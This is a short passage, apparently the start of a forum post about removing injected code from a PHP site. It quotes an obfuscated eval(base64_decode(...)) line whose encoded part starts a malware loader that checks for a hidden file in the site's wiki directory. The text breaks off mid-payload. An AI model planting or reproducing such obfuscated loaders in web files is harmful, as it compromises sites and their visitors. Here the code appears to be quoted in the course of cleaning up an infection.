The reason that deleting <? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9hcmlzdGFzaS9wdWJsaWNfaHRtbC93aWtpL2xpYi93aWtpM2Qvc3JjL2phdmEvYnIvYXJjYS9tb3JjZWdvL3N0cnVjdHVyZS9ub2RlL2NvcHBlci5w...